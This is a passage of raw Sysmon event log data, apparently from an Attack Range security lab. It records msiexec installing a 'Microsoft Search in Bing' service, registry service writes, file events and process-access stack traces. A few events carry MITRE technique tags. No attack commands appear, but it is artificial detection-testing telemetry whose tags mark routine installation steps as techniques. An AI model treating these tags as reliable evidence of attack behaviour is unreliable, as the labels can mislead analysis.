Shared\OFFICE16\OLicenseHeartbeat.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.752{7BD73061-65B2-613B-1600-00000000F001}1296972C:\Windows\system32\svchost.exe{7BD73061-6F5A-613B-1D09-00000000F001}4264C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonx64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.752{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-6F5A-613B-1D09-00000000F001}4264C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonx64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.518{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F5A-613B-2009-00000000F001}7072C:\Program Files (x86)\Microsoft\Microsoft Search in Bing\MicrosoftSearchInBing.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.502{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.502{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.502{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.502{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.502{7BD73061-65B0-613B-0A00-00000000F001}612756C:\Windows\system32\services.exe{7BD73061-6F5A-613B-2009-00000000F001}7072C:\Program Files (x86)\Microsoft\Microsoft Search in Bing\MicrosoftSearchInBing.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\services.exe+3332|C:\Windows\system32\services.exe+6334|C:\Windows\system32\services.exe+dc24|C:\Windows\system32\services.exe+d248|C:\Windows\system32\services.exe+4d0c|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000043469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.513{7BD73061-6F5A-613B-2009-00000000F001}7072C:\Program Files (x86)\Microsoft\Microsoft Search in Bing\MicrosoftSearchInBing.exe1.0.0.0MicrosoftSearchInBingMicrosoftSearchInBing-MicrosoftSearchInBing.exe"C:\Program Files (x86)\Microsoft\Microsoft Search in Bing\MicrosoftSearchInBing.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=3F3B0223CBA01746962CCD3C18C39F9B,SHA256=77B990CB81CF51BF1BA80BBA23EF5F5161309F74418BAC8A3AE930EB85EF5374,IMPHASH=F34D5F2D4577ED6D9CEEC516C1F5A744{7BD73061-65B0-613B-0A00-00000000F001}612C:\Windows\System32\services.exeC:\Windows\system32\services.exe 13241300x800000000000000043468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:42.502{7BD73061-65B0-613B-0A00-00000000F001}612C:\Windows\system32\services.exeHKLM\System\CurrentControlSet\Services\MicrosoftSearchInBing\DescriptionA service to config default search engine to Bing 13241300x800000000000000043467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:42.487{7BD73061-65B0-613B-0A00-00000000F001}612C:\Windows\system32\services.exeHKLM\System\CurrentControlSet\Services\MicrosoftSearchInBing\ObjectNameLocalSystem 13241300x800000000000000043466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:42.487{7BD73061-65B0-613B-0A00-00000000F001}612C:\Windows\system32\services.exeHKLM\System\CurrentControlSet\Services\MicrosoftSearchInBing\DisplayNameMicrosoft Search in Bing 13241300x800000000000000043465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1031,T1050SetValue2021-09-10 14:44:42.487{7BD73061-65B0-613B-0A00-00000000F001}612C:\Windows\system32\services.exeHKLM\System\CurrentControlSet\Services\MicrosoftSearchInBing\ImagePath"C:\Program Files (x86)\Microsoft\Microsoft Search in Bing\MicrosoftSearchInBing.exe" 13241300x800000000000000043464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:42.487{7BD73061-65B0-613B-0A00-00000000F001}612C:\Windows\system32\services.exeHKLM\System\CurrentControlSet\Services\MicrosoftSearchInBing\ErrorControlDWORD (0x00000001) 13241300x800000000000000043463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1031,T1050SetValue2021-09-10 14:44:42.487{7BD73061-65B0-613B-0A00-00000000F001}612C:\Windows\system32\services.exeHKLM\System\CurrentControlSet\Services\MicrosoftSearchInBing\StartDWORD (0x00000002) 13241300x800000000000000043462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:42.487{7BD73061-65B0-613B-0A00-00000000F001}612C:\Windows\system32\services.exeHKLM\System\CurrentControlSet\Services\MicrosoftSearchInBing\TypeDWORD (0x00000010) 254200x800000000000000043461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10992021-09-10 14:44:42.487{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\UninstallService.exe2020-04-20 19:59:36.0002021-09-10 14:44:42.487 11241100x800000000000000043460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localEXE2021-09-10 14:44:42.487{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\UninstallService.exe2021-09-10 14:44:42.487 11241100x800000000000000043459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:42.487{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\System.Security.Cryptography.X509Certificates.dll2021-09-10 14:44:42.487 11241100x800000000000000043458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:42.487{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\System.Security.Cryptography.Primitives.dll2021-09-10 14:44:42.487 11241100x800000000000000043457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:42.471{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\System.Security.Cryptography.Encoding.dll2021-09-10 14:44:42.471 11241100x800000000000000043456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:42.471{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\System.Security.Cryptography.Algorithms.dll2021-09-10 14:44:42.471 11241100x800000000000000043455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:42.471{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\System.Net.Http.dll2021-09-10 14:44:42.455 11241100x800000000000000043454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:42.455{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\Services.dll2021-09-10 14:44:42.455 254200x800000000000000043453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10992021-09-10 14:44:42.455{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\RemoveMSBextension.exe2020-04-20 20:00:56.0002021-09-10 14:44:42.455 11241100x800000000000000043452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localEXE2021-09-10 14:44:42.455{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\RemoveMSBextension.exe2021-09-10 14:44:42.455 23542300x800000000000000043451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.455{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E42110B98F355DCFAA5BDEAEA0679958,SHA256=E9B9A834A9369FDBD149DF7BB98B3C42C9447FDF9CD8704357DA017E43AD98F9,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000043450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:42.440{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\NLog.dll2021-09-10 14:44:42.440 11241100x800000000000000043449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:42.424{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\Newtonsoft.Json.dll2021-09-10 14:44:42.424 11241100x800000000000000043448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:42.424{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\Models.dll2021-09-10 14:44:42.424 254200x800000000000000043447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10992021-09-10 14:44:42.408{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\MicrosoftSearchInBing.exe2020-04-20 20:04:42.0002021-09-10 14:44:42.408 11241100x800000000000000043446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localEXE2021-09-10 14:44:42.408{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\MicrosoftSearchInBing.exe2021-09-10 14:44:42.408 11241100x800000000000000043445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:42.408{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\Messaging.dll2021-09-10 14:44:42.408 23542300x800000000000000043444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.408{7BD73061-6DFF-613B-DF06-00000000F001}5796ATTACKRANGE\AdministratorC:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeC:\Users\Administrator\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db-walMD5=56223B4B8A9C75928965F3078BD39636,SHA256=2761E67AEE70147E2A6480A0866714809FBD3ACFA13452017B53903D42EF4D94,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000043443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:42.408{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\Managers.dll2021-09-10 14:44:42.408 23542300x800000000000000043442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.408{7BD73061-6DFF-613B-DF06-00000000F001}5796ATTACKRANGE\AdministratorC:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeC:\Users\Administrator\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db-shmMD5=E425BE9573B5A37B2AE5E21759EFD6AA,SHA256=5AF7ECD0895BDA17597A3C7E220390AB170D043F0FDF1BB79A7A83F540284C43,IMPHASH=00000000000000000000000000000000falsetrue 254200x800000000000000043441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10992021-09-10 14:44:42.408{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\MainExtBootStrap.exe2020-04-20 20:06:26.0002021-09-10 14:44:42.408 11241100x800000000000000043440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localEXE2021-09-10 14:44:42.408{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\MainExtBootStrap.exe2021-09-10 14:44:42.408 254200x800000000000000043439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10992021-09-10 14:44:42.408{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\ExtensionNativeHost.exe2020-04-20 20:45:32.0002021-09-10 14:44:42.393 11241100x800000000000000043438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localEXE2021-09-10 14:44:42.408{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\ExtensionNativeHost.exe2021-09-10 14:44:42.393 11241100x800000000000000043437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:42.393{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Microsoft\Microsoft Search in Bing\DefaultPackOffer.dll2021-09-10 14:44:42.393 23542300x800000000000000043436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.377{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Config.Msi\22b144.rbsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.377{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF6783BFE07FECF79E.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000043434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.377{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF8B88E28D5795638B.TMPMD5=6ACD198356C88A281D5B3C23E3DC0A04,SHA256=E918527C4E8190778545378C458CE1213CB655C05A96A0D905F61823C9E94058,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.362{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F5A-613B-1F09-00000000F001}6660C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000043432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.346{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSICD67.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.346{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5A-613B-1F09-00000000F001}6660C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.346{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5A-613B-1F09-00000000F001}6660C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000043429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.315{7BD73061-6D0E-613B-8A06-00000000F001}32685848C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\shcore.dll+35576|C:\Windows\System32\shcore.dll+201ef|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a 10341000x800000000000000043428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.315{7BD73061-6D0E-613B-8A06-00000000F001}32686372C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\Windows.Storage.dll+e570d|C:\Windows\System32\Windows.Storage.dll+2a2fc5|C:\Windows\System32\Windows.Storage.dll+75263|C:\Windows\System32\Windows.Storage.dll+752da|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dl